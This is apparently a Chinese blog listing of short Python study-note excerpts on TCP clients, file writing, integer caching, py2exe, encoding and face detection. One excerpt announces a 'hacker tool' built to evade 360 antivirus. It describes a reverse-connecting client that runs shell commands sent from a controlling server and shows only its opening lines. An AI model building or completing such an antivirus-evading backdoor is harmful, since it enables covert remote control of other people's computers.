
python
懒企鹅
这个作者很懒,什么都没留下…
展开
-
python 学习笔记1--TCP客户端
TCPclient.py import socket target_host="www.baidu.com" target_port=80 #创建一个客户端,socket.AF_INET是指用IPv4地址,socket.SOCK_STREAM指TCP client=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #链接服务端原创 2015-11-13 23:30:00 · 456 阅读 · 0 评论 -
Python文件写到本地
import os ls=os.linesep while True: fname=input("fname>>>") if os.path.exists(fname): print('ERROR %s is exist '% fname) continue else: pass break all=[] prin原创 2015-12-28 16:31:44 · 496 阅读 · 0 评论 -
Python整数的缓存
>>> i=100 >>> k=100 >>> i==k True >>> i is k True >>> >>> >>> i=1000 >>> k=1000 >>> i==k True >>> i is k False >>> >>> i=0 >>> k=0 >>> while i<500: i+=1 k+=1 if i is not k: print(i) break原创 2015-12-28 17:17:36 · 480 阅读 · 0 评论 -
Python写黑客小工具,360免杀
构思: client:反向连接server,执行shell命令 server:发送命令,控制客户端 import subprocess import socket import threading target="172.22.40.41" port=55555 buffer="" def sendMag(c_socket): global buffer原创 2015-12-31 16:07:14 · 2248 阅读 · 0 评论 -
Py2exe使用
假设有一个Hello.py需要生成exe文件 习惯在同一目录下新建setup.py文件 内容: from distutils.core import setup import py2exe setup(console=['x:/xxx/hello.py']) 注意一定是全路径。 cmd进入setup.py的目录下: python ./setup.py py2exe 成功会在转载 2015-12-31 16:28:43 · 1183 阅读 · 0 评论 -
java和python改变全局变量的对比
package cn.xh.test; public class Fun_test { static int glob=10; public static void main(String[] args) { // TODO Auto-generated method stub Fun_test fun=new Fun_test()原创 2015-12-20 20:55:21 · 841 阅读 · 0 评论 -
Python 对图片进行人脸识别
import cv2 def detect(path): img = cv2.imread(path) cascade = cv2.CascadeClassifier("/vagrant/detect/haarcascade_frontalface_alt.xml")#xml文件路径一定要注意 rects = cascade.detectMultiScale(img, 1转载 2016-01-07 15:29:46 · 2772 阅读 · 2 评论 -
关于乱码
1.我设置终端编码UTF-8 用python utf-8解码 >>> '师龙'.decode('utf-8') u'\u5e08\u9f99' >>> print u'\u5e08\u9f99'.encode('utf-8') 师龙 >>> print u'\u5e08\u9f99'.encode('gbk') ʦ�� gbk解码 >>> '师龙'.decode('gbk')原创 2017-04-19 20:59:20 · 1093 阅读 · 0 评论